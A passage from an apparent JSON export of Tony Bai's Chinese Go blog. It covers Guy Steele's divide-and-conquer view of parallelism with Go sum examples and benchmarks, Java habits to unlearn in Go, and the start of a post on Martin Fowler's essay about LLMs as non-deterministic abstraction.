这或许不仅是对技术架构的建议，更是对我们决策方式的邀请——去寻找和创造尽可能多的“双向门”，以降低风险、拥抱变化，并保护我们最宝贵的投资：时间和精力。\n你最近面临过哪些“单向门”或“双向门”决策？你是如何思考的？欢迎在评论区分享你的故事。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/07/01/predicting-the-future-of-distributed-systems/","summary":"\u003cp\u003e特斯拉首席工程师的忠告：用“单向门 vs 双向门”决策，看清分布式系统的未来 - Tony Bai\u003c/p\u003e\n\u003cp\u003e===============\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"特斯拉首席工程师的忠告：用“单向门 vs 双向门”决策，看清分布式系统的未来"},{"content":"Go并行编程的“第一性原理”：Guy Steele 教你如何“不去想”并行 - Tony Bai\n===============\nTony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n文章列表\nGo并行编程的“第一性原理”：Guy Steele 教你如何“不去想”并行 六月 29, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/06/29/thinking-parallel-programming\n大家好，我是Tony Bai。\n在多核处理器已成为标配的今天，并行编程能力几乎是每一位后端工程师的必备技能。Go 语言凭借其简洁的 Goroutine 和 Channel 设计，极大地降低了并发编程的门槛，让我们能相对轻松地驾驭并发。但是，写出“能跑”的并发代码，和写出“优雅、高效、可维护”的并行程序之间，往往还隔着一层思维模式的窗户纸。\n今天，我想和大家分享一位计算机科学巨匠——Guy L. Steele Jr.——关于并行编程的深刻洞见。在深入探讨之前，有必要简单介绍一下这位大神：他是 Scheme 语言的共同创造者，Common Lisp 标准的核心定义者，Java 语言设计的关键人物，也是 Sun/Oracle 专门为并行计算设计的 Fortress 语言的领导者。他的见解，源于横跨数十年、从学术到工业的深厚语言设计实践。\n他早在多年前（其经典 PPT《How to Think about Parallel Programming—Not!》可以追溯到 2009 年甚至更早）就提出了一些颠覆传统认知，但至今依然闪耀着智慧光芒的核心思想。这些思想，对于我们 Gopher 来说，不啻为并行编程的“第一性原理”，能帮助我们从根本上理解如何更好地设计并行系统。\nSteele 的核心论点是什么？一言以蔽之：\n“编写并行应用程序的最佳方式，就是不必去考虑并行本身。”\n这听起来是不是有点反直觉？别急，让我们慢慢拆解 Steele 的智慧。\n并行编程的“敌人”：根深蒂固的“累加器思维” Steele 犀利地指出，我们过去几十年在顺序编程中养成的许多习惯，正在成为并行编程的障碍。其中，“累加器 (Accumulators)”模式首当其冲被他判为“BAD”。\n什么是累加器模式？简单来说，就是通过一个共享状态（累加器），不断迭代地用新数据去更新这个状态。一个最经典的例子就是顺序求和：\n// 典型的顺序累加求和 func sumSequential(nums []int) int64 { var total int64 = 0 // 我就是那个“累加器” total for _, n := range nums { total += int64(n) // 不断更新自己 } return total } 这段代码再熟悉不过了，对吧？但在 Steele 看来，这种写法是并行编程的“噩梦”。为什么？\n强烈的顺序依赖： 每一步的 total 都依赖于上一步的结果。这种串行依赖使得直接将其并行化变得异常困难。如果多个 Goroutine 同时去更新 total，就需要引入锁或其他同步机制，不仅增加了复杂性，还可能因为锁竞争而严重影响性能，甚至违背了并行的初衷。 鼓励可变状态与副作用： 累加器本身就是一个可变状态，操作带有副作用。这在并行环境下是诸多问题的根源。 Steele 甚至略带调侃地说：DO 循环太上世纪五十年代了！… 当你写下 SUM = 0 并开始累加时，你就已经把自己“坑”了。\n那么，我们应该如何摆脱这种“累加器思维”的桎梏呢？\nSteele的药方：拥抱“分治”与“结合性” Steele 提倡的核心思想是 “分治 (Divide-and-Conquer)” 和利用操作的 “代数性质 (Algebraic Properties)”，尤其是 “结合性 (Associativity)”。\n分治 (Divide-and-Conquer)： 将大问题分解成若干个独立的、可以并行处理的子问题。每个子问题独立求解后，再将结果合并。这天然地契合了并行的思想。\n结合性 (Associativity)： 如果一个操作 ⊕ 满足结合律，即 (a ⊕ b) ⊕ c = a ⊕ (b ⊕ c)，那么在合并子问题的结果时，合并的顺序就不重要了。这给予了并行执行极大的“自由度”。例如，加法 + 和乘法 * 都满足结合律。\n让我们用 Go 来实践一下这种思想，改造上面的求和函数。\nGo 实践 1：基于 Goroutine 和 Channel 的分块并行求和\n我们可以将数组切分成若干块 (chunk)，每个 Goroutine 负责计算一块的和，最后将各块的结果汇总。\nimport ( \u0026#34;runtime\u0026#34; \u0026#34;sync\u0026#34; ) func sumParallelChunks(nums []int, numChunks int) int64 { if len(nums) == 0 { return 0 } if numChunks \u0026lt;= 0 { numChunks = runtime.NumCPU() } // 默认使用CPU核心数作为块数 if len(nums) \u0026lt; numChunks { numChunks = len(nums) } results := make(chan int64, numChunks) chunkSize := (len(nums) + numChunks - 1) / numChunks for i := 0; i \u0026lt; numChunks; i++ { start := i * chunkSize end := (i + 1) * chunkSize if end \u0026gt; len(nums) { end = len(nums) } // 每个goroutine处理一个独立的块 go func(chunk []int) { var localSum int64 = 0 for _, n := range chunk { // 块内部仍然是顺序累加，但这是局部行为 localSum += int64(n) } results \u0026lt;- localSum // 将局部结果发送到channel }(nums[start:end]) } var total int64 = 0 for i := 0; i \u0026lt; numChunks; i++ { total += \u0026lt;-results // 合并结果，加法是结合的！顺序不重要 } return total } Go 实践 2：递归分治的并行求和 (更纯粹地体现分治)\n对于分治思想，递归往往是更自然的表达：\n// 辅助函数，保持接口一致性 func sumRecursiveParallelEntry(nums []int) int64 { // 设定一个阈值，小于此阈值则顺序计算，避免过多goroutine开销 const threshold = 1024 return sumRecursiveParallel(nums, threshold) } func sumRecursiveParallel(nums []int, threshold int) int64 { if len(nums) == 0 { return 0 } if len(nums) \u0026lt; threshold { return sumSequential(nums) // 小任务直接顺序计算 } mid := len(nums) / 2 var sumLeft int64 var wg sync.WaitGroup wg.Add(1) // 我们需要等待左半部分的计算结果 go func() { defer wg.Done() sumLeft = sumRecursiveParallel(nums[:mid], threshold) }() // 右半部分可以在当前goroutine计算，也可以再开一个goroutine sumRight := sumRecursiveParallel(nums[mid:], threshold) wg.Wait() // 等待左半部分完成 return sumLeft + sumRight // 合并，加法是结合的 } 基准测试：并行真的更快吗？ 理论归理论，实践是检验真理的唯一标准。我们为上述三个求和函数编写了基准测试，在一个典型的多核开发机上运行（例如，4 核 8 线程的 CPU）。我们使用一个包含 1000 万个整数的切片作为输入。\n// benchmark_test.go package main import ( \u0026#34;math/rand\u0026#34; \u0026#34;runtime\u0026#34; \u0026#34;testing\u0026#34; \u0026#34;time\u0026#34; ) var testNums []int func init() { rand.Seed(time.Now().UnixNano()) testNums = make([]int, 10000000) // 10 million numbers for i := range testNums { testNums[i] = rand.Intn(1000) } } func BenchmarkSumSequential(b *testing.B) { for i := 0; i \u0026lt; b.N; i++ { sumSequential(testNums) } } func BenchmarkSumParallelChunks(b *testing.B) { numChunks := runtime.NumCPU() b.ResetTimer() for i := 0; i \u0026lt; b.N; i++ { sumParallelChunks(testNums, numChunks) } } func BenchmarkSumRecursiveParallel(b *testing.B) { for i := 0; i \u0026lt; b.N; i++ { sumRecursiveParallelEntry(testNums) } } 典型的基准测试结果可能如下 (具体数字会因机器而异)：\n$go test -bench . goos: darwin goarch: amd64 pkg: demo cpu: Intel(R) Core(TM) i5-8257U CPU @ 1.40GHz BenchmarkSumSequential-8 429 2784507 ns/op BenchmarkSumParallelChunks-8 520 1985197 ns/op BenchmarkSumRecursiveParallel-8 265 4420254 ns/op PASS ok demo 4.612s 从结果可以看出：\nsumSequential 作为基线，但顺序版本的速度并非最慢。 sumParallelChunks 显著快于顺序版本，它充分利用了多核 CPU 的优势，并在这个特定场景下可能因为更直接的控制和较少的递归开销而略胜一筹，但这取决于具体实现和输入规模。而sumRecursiveParallel虽是并行，但却因为较多的goroutine调度(数量大于机器核数)与递归的开销拖慢了执行的速度。 分治与性能：并非总是“更快”的银弹 看到上面的基准测试，你曾经认为的“分治 + 并行”总是能带来性能提升的结论是不成立的。然而，这里需要强调：分治策略本身是为了“能够”并行化，而不是保证在所有情况下都比聪明的顺序算法更快。\n这是因为并行化是有成本的：\n任务分解与合并开销： 将问题分解、分发给 Goroutine、以及最后合并结果都需要时间。 Goroutine 创建与调度开销： 虽然 Go 的 Goroutine 很轻量，但创建和调度百万个 Goroutine 仍然有不可忽视的开销。这就是为什么在 sumRecursiveParallel 中我们设置了一个 threshold，当问题规模小于阈值时，退化为顺序执行。 通信开销： Channel 通信比直接的函数调用要慢。 同步开销： 如果子问题间不是完全独立，或者合并过程复杂，可能需要额外的同步（如 sync.WaitGroup 或互斥锁），这也会引入开销。 因此，“分治”的性能优势通常在以下情况才能显现：\n问题规模足够大： 大到足以摊平并行化的固定开销。 子问题真正独立： 减少或避免同步需求。 合并操作高效： 合并步骤不能成为新的瓶颈。 有足够的并行资源： 即拥有足够的多核 CPU 来同时执行子任务。 如果问题规模很小，或者并行化引入的开销大于节省的时间，那么精心优化的顺序算法可能反而更快。Steele 的核心观点在于，采用分治和关注独立性的设计，使得你的程序具备了“可并行化”的潜力，当资源允许且问题规模合适时，就能获得加速。更重要的是，这种设计往往更清晰、更易于推理和维护。\n“独立性”是核心，而非“并行”本身 Steele 强调：“问题的核心并非并行本身，而是独立性。”\n如果我们能够将问题分解成独立的部分，并且定义出具有良好代数性质（如结合性）的合并操作，那么并行化就成了一件相对自然和简单的事情。语言和运行时可以更好地帮助我们调度这些独立的任务。\n这里，你可能会觉得 Steele 的思想与另一位 Go 圈尽人皆知的思想领袖 Rob Pike 的名言“Concurrency is not Parallelism”有异曲同工之妙。确实如此！\n他们都在强调开发者应将关注点从底层执行细节提升到更高层次的程序结构设计上。一个结构良好的程序，自然就具备了高效执行的潜力。\nPike 说： 不要去想“并行”(Parallelism)。去想“并发”(Concurrency)——如何把你的程序组织成一组可独立执行、通过通信来协作的组件（Goroutines）。 Steele 说： 不要去想“并行”(Parallelism)。去想“独立性”(Independence)——如何把你的问题分解成独立的子问题，并找到一个满足结合律的合并操作。 他们的思想完美互补：\nPike 的思想为我们提供了构建程序的“骨架”：我们使用 goroutine 和 channel 来搭建并发结构。 Steele 的思想则为我们填充了“血肉”：我们确保每个 goroutine 的工作是真正独立的，并且我们用来合并结果的操作是结合性的。 例如，我们的并行求和示例，正是用 Goroutine（Pike 的工具）来执行独立的求和任务（Steele 的独立性原则），然后用 + 这个结合性操作来合并结果。一个优秀的 Gopher，脑中应该同时有这两个声音在对话。\nGopher 的思维重塑：从“怎么做”到“是什么” Steele 的思想，鼓励我们从更本质的层面思考问题：\n关注“是什么 (What)”而非“怎么做 (How)”： 就像数学家写 Σxᵢ 一样，先声明意图（求和），而不是一开始就陷入具体的循环和累加步骤。Fortran 90 的 SUM(X) 就是这种思想的体现。 寻找结合性的合并操作： 对于一个问题，思考能否将其分解，并找到一个满足结合律的合并方法。这往往需要对问题域有更深的理解。Steele 在 PPT 中展示了如何通过定义 WordState 及其结合性的 ⊕ 操作来并行化“字符串分词”问题，非常精彩。 拥抱不可变性与纯函数： 尽可能使子问题的处理函数是纯函数（无副作用，相同输入总有相同输出），这能极大地简化并行程序的推理。 可复现性至关重要： Steele 强调，为了调试，可复现性极其重要，甚至值得牺牲一些性能。具有结合性的操作通常更容易保证结果的可复现性（即使并行执行顺序不同，最终结果也应一致）。 小结：让并行“自然发生”——Go 做到了吗？ Guy L. Steele Jr. 的思想提醒我们，真正的并行编程高手，不是那些能玩转各种复杂锁和同步原语的“技巧大师”，而是那些能洞察问题本质，将其分解为独立单元，并用优雅的代数方式重新组合的人。他的理想是让并行性像内存管理（垃圾回收）一样，成为语言和运行时为我们处理好的事情，让开发者可以更专注于业务逻辑本身。\n那么，Go 语言在“让并行自然发生”这条路上走了多远呢？\n显著进步： 相比于 C/C++/Java 等需要手动管理线程、锁、条件变量的语言，Go 通过 go 关键字启动 Goroutine，并通过 Channel 进行通信和同步，极大地简化了并发编程的门槛和心智负担。可以说，Go 让“思考独立性”和“实现基本并发”变得前所未有地容易。\n尚未完全“自动化”： 尽管如此，Go 的并行还远未达到像垃圾回收那样“开发者无感知”的程度。开发者仍然需要：\n主动设计并行策略： 如何分解问题（如分块、递归分治），如何选择合适的并发原语（Channel, WaitGroup, Mutex）。 管理并发单元： 决定启动多少 Goroutine，如何处理它们的生命周期和错误。 关注数据竞争： 虽然 Channel 有助于避免数据竞争，但如果共享了内存且没有正确同步，数据竞争依然是 Gopher 需要面对的问题（Go 的 race detector 是一个好帮手）。 理解并选择合并策略： 如何设计具有良好代数性质的合并操作，这仍依赖于开发者的洞察力。 与其他语言的比较：\nErlang/Elixir (Actor Model)： 在进程隔离和消息传递方面与 Go 的 CSP 有相似的哲学，也致力于简化并发。它们在容错和分布式方面有独特优势。 函数式语言 (Haskell, Clojure)： 它们强调的不可变性和纯函数天然适合并行化，并提供了一些高级的并行集合与抽象。 Rust： 通过其所有权系统和 Send/Sync trait，在编译期提供了强大的内存安全和线程安全保证。其 async/await 提供了另一种并发模型。Rust 在追求极致性能和安全性的同时，其并发的学习曲线也相对陡峭。 Go 的优势在于其务实的平衡： 它提供了足够简单且强大的并发原语，使得开发者能够以较低的成本实现高效的并发和并行，尤其适合构建网络服务和分布式系统。它鼓励开发者思考任务的独立性，但将“如何并行”的许多细节交由开发者根据具体场景来设计。\n最终，要达到 Steele 的理想境界——让并行编程像呼吸一样自然，还需要语言、运行时甚至硬件层面的持续进化。但 Go 毫无疑问地在这个方向上迈出了坚实而重要的一大步，它为我们 Gopher 提供了一套强大的工具，去实践“不去想并行（细节），而去思考独立性与组合”的编程智慧。\n你对 Guy Steele 的这些观点有什么看法？在你的 Go 并行编程实践中，是否也曾遇到过“累加器思维”带来的困扰，或者通过“分治”获得了更好的解决方案？欢迎在评论区分享你的经验和思考！\n参考资料地址 – https://www.infoq.com/presentations/Thinking-Parallel-Programming/\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/06/29/thinking-parallel-programming/","summary":"\u003cp\u003eGo并行编程的“第一性原理”：Guy Steele 教你如何“不去想”并行 - Tony Bai\u003c/p\u003e\n\u003cp\u003e===============\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"Go并行编程的“第一性原理”：Guy Steele 教你如何“不去想”并行"},{"content":"Gopher视角：Java 开发者转向 Go 时，最需要“掰过来”的几个习惯 - Tony Bai\n===============\nTony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n文章列表\nGopher视角：Java 开发者转向 Go 时，最需要“掰过来”的几个习惯 六月 27, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/06/27/from-java-to-go\n大家好，我是Tony Bai。\n各位Gopher以及正在望向Go世界的Java老兵们，近些年，我们能明显感觉到一股从Java等“传统豪强”语言转向Go的潮流。无论是追求极致的并发性能、云原生生态的天然亲和力，还是那份独有的简洁与高效，Go都吸引了无数开发者。然而，从Java的“舒适区”迈向Go的“新大陆”，绝不仅仅是学习一套新语法那么简单，它更像是一场思维模式的“格式化”与“重装”。\n作为一名在Go语言世界摸爬滚打多年的Gopher，我见过许多优秀的Java开发者在初探Go时，会不自觉地带着一些“根深蒂固”的Java习惯。这些习惯在Java中或许是最佳实践，但在Go的语境下，却可能显得“水土不服”，甚至成为理解和掌握Go精髓的绊脚石。\n今天，我就从Gopher的视角，和大家聊聊那些Java开发者在转向Go时，最需要刻意“掰过来”的几个习惯。希望能帮助大家更顺畅地融入Go的生态，体会到Go语言设计的精妙之处。\n习惯一：接口的“名分”执念 -\u0026gt; 拥抱“能力”驱动 Java的习惯：\n在Java世界里，接口（Interface）是神圣的。一个类要实现一个接口，必须堂堂正正地使用 implements 关键字进行声明，验明正身，告诉编译器和所有开发者：“我，某某类，实现了某某接口！” 这是一种**名义类型系统（Nominal Typing）**的体现，强调“你是谁”。\n// Java interface Writer { void write(String data); } class FileWriter implements Writer { // 必须显式声明 @Override public void write(String data) { System.out.println(\u0026#34;Writing to file: \u0026#34; + data); } } Go的转变：\nGo语言则推崇结构化类型系统（Structural Typing），也就是我们常说的“鸭子类型”——“如果一个东西走起来像鸭子，叫起来像鸭子，那么它就是一只鸭子。” 在Go中，一个类型是否实现了一个接口，只看它是否实现了接口所要求的所有方法，无需显式声明。\n更重要的是Go社区推崇的理念：“Define interfaces where they are used, not where they are implemented.”（在使用者处定义接口，而非实现者处）。\n// Go // 使用者（比如一个日志包）定义它需要的Write能力 type Writer interface { Write(data string) (int, error) } // 实现者（比如文件写入模块） type FileWriter struct{} func (fw *FileWriter) Write(data string) (int, error) { // ... 写入文件逻辑 ... fmt.Println(\u0026#34;Writing to file:\u0026#34;, data) return len(data), nil } // 无需声明 FileWriter 实现了 Writer，编译器会自动检查 // var w Writer = \u0026amp;FileWriter{} // 这是合法的 为什么要“掰过来”？\n解耦大师：Go的隐式接口使得实现方和使用方可以完全解耦。使用方只关心“我需要什么能力”，而不关心“谁提供了这个能力，以及它还提供了什么其他能力”。这使得代码更加灵活，依赖关系更清晰。 测试的福音：你可以轻易地为你代码中的依赖定义一个小接口，并在测试中提供一个轻量级的mock实现，而无需修改被测试代码或依赖的原始定义。 避免臃肿接口：Java中常为了通用性设计出庞大的接口，而Go鼓励定义小而美的接口，按需取材。 Gopher建议：\n放下对 implements 的执念。在Go中，开始思考你的函数或模块真正需要依赖对象的哪些行为（方法），然后为这些行为定义一个小巧的接口。你会发现，代码的扩展性和可维护性瞬间提升。\n习惯二：错误处理的“大包大揽” -\u0026gt; 转向“步步为营” Java的习惯：\nJava的 try-catch-finally 异常处理机制非常强大。开发者习惯于将可能出错的代码块包裹起来，然后在一个或多个 catch 块中集中处理不同类型的异常。这种方式的好处是错误处理逻辑相对集中，但有时也容易导致错误被“吞掉”或处理得不够精确。\n// Java public void processFile(String fileName) { try { // ... 一系列可能抛出IOException的操作 ... FileInputStream fis = new FileInputStream(fileName); // ... read from fis ... fis.close(); } catch (FileNotFoundException e) { System.err.println(\u0026#34;File not found: \u0026#34; + e.getMessage()); } catch (IOException e) { System.err.println(\u0026#34;Error reading file: \u0026#34; + e.getMessage()); } finally { // ... 资源清理 ... } } Go的转变：\nGo语言对错误处理采取了截然不同的策略：显式错误返回。函数如果可能出错，会将 error 作为其多个返回值中的最后一个。调用者必须（或者说，强烈建议）检查这个 error 值。\n// Go func ProcessFile(fileName string) error { file, err := os.Open(fileName) // 操作可能返回错误 if err != nil { // 显式检查错误 return fmt.Errorf(\u0026#34;opening file %s failed: %w\u0026#34;, fileName, err) } defer file.Close() // 优雅关闭 // ... use file ... _, err = file.Read(make([]byte, 10)) if err != nil { // 如果是 EOF，可能不算真正的错误，根据业务处理 if err == io.EOF { return nil // 假设读到末尾是正常结束 } return fmt.Errorf(\u0026#34;reading from file %s failed: %w\u0026#34;, fileName, err) } return nil // 一切顺利 } 为什么要“掰过来”？\n错误也是一等公民：Go的设计哲学认为错误是程序正常流程的一部分，而不是“异常情况”。显式处理让开发者无法忽视错误，从而写出更健壮的代码。 控制流更清晰：if err != nil 的模式使得错误处理逻辑紧跟在可能出错的操作之后，代码的控制流一目了然。 没有隐藏的“炸弹”：不像Java的checked exceptions和unchecked exceptions可能在不经意间“爆炸”，Go的错误传递路径非常明确。 Gopher建议：\n拥抱 if err != nil！不要觉得它啰嗦。这是Go语言深思熟虑的设计。学会使用 fmt.Errorf 配合 %w 来包装错误，形成错误链；学会使用 errors.Is 和 errors.As 来判断和提取特定错误。你会发现，这种“步步为营”的错误处理方式，能让你对程序的每一个环节都更有掌控感。\n习惯三：包与命名的“层峦叠嶂” -\u0026gt; 追求“大道至简” Java的习惯：\nJava的包（package）名往往比较长，层级也深，比如 com.mycompany.project.module.feature。类名有时为了避免与SDK或其他库中的类名冲突，也会加上项目或模块前缀，例如 MyProjectUserService。这在大型项目中是为了保证唯一性和组织性。\n// Java // package com.mycompany.fantasticdb.client; // public class FantasticDBClient { ... } // 使用时 // import com.mycompany.fantasticdb.client.FantasticDBClient; // FantasticDBClient client = new FantasticDBClient(); Go的转变：\nGo的包路径虽然也可能包含域名和项目路径（例如 github.com/user/project/pkgname），但在代码中引用时，通常只使用包的最后一级名称。Go强烈建议避免包名和类型名“口吃”（stuttering）。比如，database/sql 包中，类型是 sql.DB 而不是 sql.SQLDB。\n// Go // 包声明: package fantasticdb (在 fantasticdb 目录下) type Client struct { /* ... */ } // 使用时 // import \u0026#34;github.com/mycompany/fantasticdb\u0026#34; // client := fantasticdb.Client{} 正如附件中提到的，fantasticdb.Client 远比 FantasticDBClient 或 io.fantasticdb.client.Client 来得清爽和表意清晰（在 fantasticdb 这个包的上下文中，Client 自然就是指 fantasticdb 的客户端）。\n为什么要“掰过来”？\n可读性：简洁的包名和类型名让代码读起来更流畅，减少了视觉噪音。 上下文的力量：Go鼓励你信任包名提供的上下文。在 http 包里，Request 自然就是 HTTP 请求。 避免冗余：Go的哲学是“A little copying is better than a little dependency”，同样，一点点思考换来清晰的命名，好过冗余的限定词。 Gopher建议：\n在Go中，给包和类型命名时，思考“在这个包的上下文中，这个名字是否清晰且没有歧义？”。如果你的包名叫 user，那么里面的类型可以直接叫 Profile，而不是 UserProfile。让包名本身成为最强的前缀。\n习惯四：代码复用的“继承衣钵” -\u0026gt; 推崇“灵活组装” Java的习惯：\nJava是典型的面向对象语言，继承（Inheritance）是实现代码复用和多态的核心机制之一。”is-a” 关系（比如 Dog is an Animal）深入人心。开发者习惯于通过构建复杂的类继承树来共享行为和属性。\nGo的转变：\nGo虽然有类型嵌入（Type Embedding），可以模拟部分继承的效果，但其核心思想是组合优于继承 (Composition over Inheritance)。”has-a” 关系是主流。通过将小的、专注的组件（通常是struct或interface）组合起来，构建出更复杂的系统。\n// Go - 组合示例 type Engine struct { /* ... */ } func (e *Engine) Start() { /* ... */ } func (e *Engine) Stop() { /* ... */ } type Wheels struct { /* ... */ } func (w *Wheels) Rotate() { /* ... */ } type Car struct { engine Engine // Car has an Engine wheels Wheels // Car has Wheels // ...其他组件 } func (c *Car) Drive() { c.engine.Start() c.wheels.Rotate() // ... } 为什么要“掰过来”？\n灵活性：组合比继承更灵活。你可以动态地替换组件，或者为一个对象组合多种不同的行为，而无需陷入复杂的继承层级。 避免“猩猩/香蕉问题”：“你需要一个香蕉，但得到的是一只拿着香蕉的大猩猩，以及整个丛林。”继承有时会引入不必要的依赖和复杂性。组合则让你按需取用。 单一职责：组合鼓励你设计小而专注的组件，每个组件都做好一件事，这符合单一职责原则。 Gopher建议：\n当你试图通过继承来复用代码或扩展功能时，停下来想一想：我需要的是一个“is-a”关系，还是一个“has-a”关系？我是否可以通过将现有的小组件“塞”到我的新类型中来实现目标？在Go中，更多地使用类型嵌入（模拟组合）和接口来实现多态和行为共享。\n小结：一场愉快的“思维升级” 从Java到Go，不仅仅是换了一套工具，更是一次编程思维的刷新和升级。初期可能会有些不适，就像习惯了自动挡再去开手动挡，总想不起来踩离合。但一旦你真正理解并接纳了Go的设计哲学——简洁、显式、组合、并发优先——你会发现一片全新的、更高效、也更富乐趣的编程天地。\n上面提到的这几个“习惯”，只是冰山一角。Go的世界还有更多值得探索的宝藏。希望这篇文章能给你带来一些启发。\n你从Java（或其他语言）转向Go时，还“掰过来”了哪些习惯？欢迎在评论区分享你的故事和心得！\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/06/27/from-java-to-go/","summary":"\u003cp\u003eGopher视角：Java 开发者转向 Go 时，最需要“掰过来”的几个习惯 - Tony Bai\u003c/p\u003e\n\u003cp\u003e===============\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"Gopher视角：Java 开发者转向 Go 时，最需要“掰过来”的几个习惯"},{"content":"Martin Fowler最新洞察：LLM 不止是“更高”的抽象，它正在改变编程的“本质”！ - Tony Bai\n===============\nTony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n文章列表\nMartin Fowler最新洞察：LLM 不止是“更高”的抽象，它正在改变编程的“本质”！ 六月 26, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/06/26/non-deterministic-abstraction\n大家好，我是Tony Bai。\n在软件开发领域，Martin Fowler 的名字几乎等同于思想的灯塔。他的每一篇文章、每一次演讲，都能为我们揭示行业发展的深层脉络。最近，Fowler 大师又发布了一篇简短但引人深思的博文——《LLMs bring new nature of abstraction》，再次精准地捕捉到了一个正在发生的、可能颠覆我们认知和工作方式的巨大变革。\nFowler 认为，大型语言模型（LLM）的出现，对软件开发的影响，堪比从汇编语言到首批高级编程语言（HLLs）的飞跃。但关键在于，LLM 带来的不仅仅是又一个“更高层次”的抽象，它正在从根本上改变编程的“本质”——迫使我们思考，用“非确定性工具”进行编程究竟意味着什么。\n在这篇文章中，我们就来简单解读一下。\n从“确定性”的阶梯到“非确定性”的岔路 回顾编程语言的发展史，我们一直在追求更高层次的抽象，以提升生产力、降低复杂度：\n汇编语言 vs. 机器指令： 汇编让我们用助记符替代了 0 和 1，但仍需关注特定机器的寄存器和指令集。 高级语言 (HLLs) vs. 汇编： Fortran、COBOL 等早期 HLLs 让我们能用语句、条件、循环来思考，而不用关心数据如何在寄存器间移动。Fowler 回忆道，他用 Fortran IV 编程时，虽然有诸多限制（如 IF 没有 ELSE，整数变量名必须以 I-N 开头），但这已经是巨大的进步。 现代语言、框架、DSL vs. 早期 HLLs： Ruby、Go、Python 等现代语言，以及各种框架和领域特定语言（DSL），进一步提升了抽象层次。我们现在可以本能地将函数作为数据传递，使用丰富的库和模式，而不用从头编写大量底层代码。 Fowler 指出，尽管这些发展极大地提升了抽象层次和生产力，但它们并没有从根本上改变“编程的性质”。我们仍然是在与机器进行一种“确定性”的对话：给定相同的输入和代码，我们期望得到相同的输出。错误（Bug）也是可复现的。\n然而，LLM 的介入，打破了这一基本假设。\nFowler 写道：“用提示词与机器对话，其差异之大，犹如 Ruby 之于 Fortran，Fortran 之于汇编”。\n更重要的是，这不仅仅是抽象层次的巨大飞跃。当 Fowler 用 Fortran 写一个函数，他可以编译一百次，结果中的 Bug 依然是那个 Bug。但 LLM 引入的是一种“非确定性”的抽象 (non-deterministic abstraction)。\n这意味着，即使我们把精心设计的 Prompt 存储在 Git 中，也不能保证每次运行都会得到完全相同的行为。正如他的同事 Birgitta Böckeler 